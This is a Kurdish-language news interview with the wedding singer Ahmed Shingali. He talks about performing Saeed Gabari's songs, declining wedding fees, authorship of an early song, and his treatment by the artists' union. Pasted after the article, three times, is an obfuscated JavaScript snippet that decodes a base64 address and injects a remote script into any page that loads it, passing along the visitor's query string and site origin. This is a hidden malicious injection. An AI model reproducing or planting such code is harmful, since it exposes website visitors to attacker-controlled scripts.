دشێم سێ شه‌ڤ و سێ رۆژان ل ده‌واتان سترانێن هونه‌رمه‌ند سه‌عید گاباری بێژم و نه‌راوه‌ستم
ئه‌ڤرۆ:
هونه‌رمه‌ند ئه‌حمه‌د شنگالی ددیداره‌كێ دا بۆ به‌رپه‌رێ هونه‌ری یێ رۆژناما ئه‌ڤرۆ گۆت: هه‌ر ل ده‌ستپێكا سالا 1981 من ده‌ست ب ستران گۆتنێ كری داغبارێ هونه‌رمه‌ند سه‌عید گاباری بووم هه‌تا نوكه و ئه‌و سترانێن سه‌عید گاباری دگۆتن هه‌ر یێن ده‌ڤه‌را شنگالێ بووینه، به‌لێ ئه‌و ستایلێ وی پێ دگۆت یێ جودا بوو تامه‌كا تی‌ت ددا سترانێ و هه‌ر كه‌سه‌كێ گوهداریا وی كربا حه‌ز ژێ دکر و هه‌ر كه‌سه‌كێ ب ستایلێ وی ژی سترانا بێژیت حه‌زژێدكه‌ن و هندی ناڤێ هونه‌رمه‌ند سه‌عید گاباری هه‌یه دێ ناڤی وی مینت و هه‌رسترانبێژه‌كێ بچیته ده‌واتان سترانێن سه‌عید گاباری نه‌بێژیت ئه‌و ده‌واته ب رێڤه ناچیت و ل ده‌واتان ژی دشێم سێ شه‌ڤ و سێ رۆژان ل ده‌واتان سترانێن هونه‌رمه‌ند سه‌عید گاباری بێژم و نه‌راوه‌ستم و به‌ری ئه‌و فه‌رمانه ب سه‌ر مه‌دا بهێت هه‌یڤانه دچوومە چل و پێنج ده‌واتان و ل دانێ سپێده‌هیان دچمه ده‌واتێن ئێزدیان و ئێڤاریان ژی دچوومه ده‌واتێن موسلمنا و ژبلی چوونا ده‌واتان چو كارێن دی ناكه‌م و پاریێ ژیانێ بۆ من ژ چوونا ده‌واتان دهێت، به‌لێ د ڤی سه‌رده‌می دا پیچه‌ك ب زه‌حمه‌ت كه‌فتیه و خه‌لك یێ هه‌ژاربووی و داوات كێم بووینه و بهایێ چوونا ده‌واتان ئه‌رزان بوویه و سترانبێژێن ده‌واتان زێده‌بووینه و هه‌ركه‌سه‌كێ دوسترانا بێژیت بوویه سترانبێژ و ژبه‌رئه‌ڤێ چه‌ندێ كارتێكرن ل كارێ مه‌ژی كریه و دده‌مه‌كی دا دچوومه ده‌واتان ب بیست و چار وه‌ره‌قێن دولاری و نوكه بۆ سێ چار ده‌مژمێران ب ده‌ه هه‌تا دوازده وه‌ره‌قێن دولاری دچمه ده‌واتان.
زێده‌ترگۆت: ئه‌و كه‌سێن زارڤه‌كرنا ده‌گ و ستایلێ هونه‌رمه‌ند سه‌عید گاباری كرین ده‌رحه‌ق نه‌ده‌ركه‌ڤتینه و دبینم هه‌ركه‌سه‌كێ زارڤه‌كرنا وی بكه‌ت دڤێت گه‌له‌ك وه‌كو وی بێژیت هه‌تا بشێت زارڤه‌كرنا وی بكه‌ت و ل دهۆكێ سه‌ربه‌ست مالتای ئێكه‌م سترانبێژ ددانم كوشیایه ب باشی و جوانی زارڤه‌كرنا سه‌عید باباری بكه‌ت .
ئه‌و چه‌نده‌ژی گۆت: هونه‌رێ من هه‌موو فلكلۆره و به‌رهه‌مێن من ژی هه‌موو یێن ده‌واتان بووینه و هه‌روه‌سا من بخوه ژی ستران هه‌نه و مولكێ منن و سترانا (سینگ و به‌رێن یسرا) ل سالا 1981برایێ من كه‌ریم شنگالی چێكر و من گۆت و ل سالا 1982 هونه‌رمه‌ند ئه‌رده‌وان زاخۆی هه‌من ستران گۆت، به‌لێ ئه‌وی هنده‌ك ژ په‌یڤێن وی گوهوری و ب دروستی نه‌هاته گۆتن، به‌لێ په‌یڤێن سترانێ ب دروستی ئه‌زو برایێ خوه كه‌ریم دبێژین و گه‌له‌ك ستران من ل سه‌ر شوره‌شێ و پێشمه‌رگه‌ها و بارزانی و ئه‌ڤینیێ گۆتینه، به‌لێ دده‌مێ مه‌دا راگه‌هاندن و كه‌نالێن ته‌له‌ڤزیونی و سوشیال میدیا نه‌بوون.
ل دووماهیێ ژی گۆت: گه‌له‌ك حه‌قێ من هاتیه خۆارن ژلایێ سه‌ندیكا هونه‌رمه‌ندان تایێ هه‌ولێرێ وه‌كو ئه‌ز هونه‌رمه‌نده‌كێ كه‌ڤن و من رێز بۆ هه‌موو هونه‌رمه‌ندان هه‌یه و نوكه گه‌له‌ك هونه‌رمه‌ند هه‌نه قوتابێن من بوون و ئه‌و بوینه خودان ناسنامه‌یا سه‌ندیكایێ و پارچه‌ێن ئه‌ردی و من چو ژوان نینن و من نه‌ڤیت چو ناڤابینم به‌ری چه‌نده‌كێ هاتمه سه‌ندیكا هونه‌رمه‌ندێن كوردستانێ تایی دهۆكێ من گۆتێ من دڤێت هوین ناسنامه‌یا من چێكه‌ن ئه‌ز هونه‌رمه‌ند ئه‌حمه‌د شنگالی مه و به‌رسڤا ئه‌وان ئه‌و بوو گۆت ما كی دبێژیت تو هونه‌رمه‌ندی و ب ئه‌وێ ئاخفتنێ گه‌له‌ك دلگران بووم و ئه‌و كه‌سێ پریسیار ژمن كری و ده‌مێ من ستران دگۆتین نه‌دزانی مۆزیكێ بژه‌نیت.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
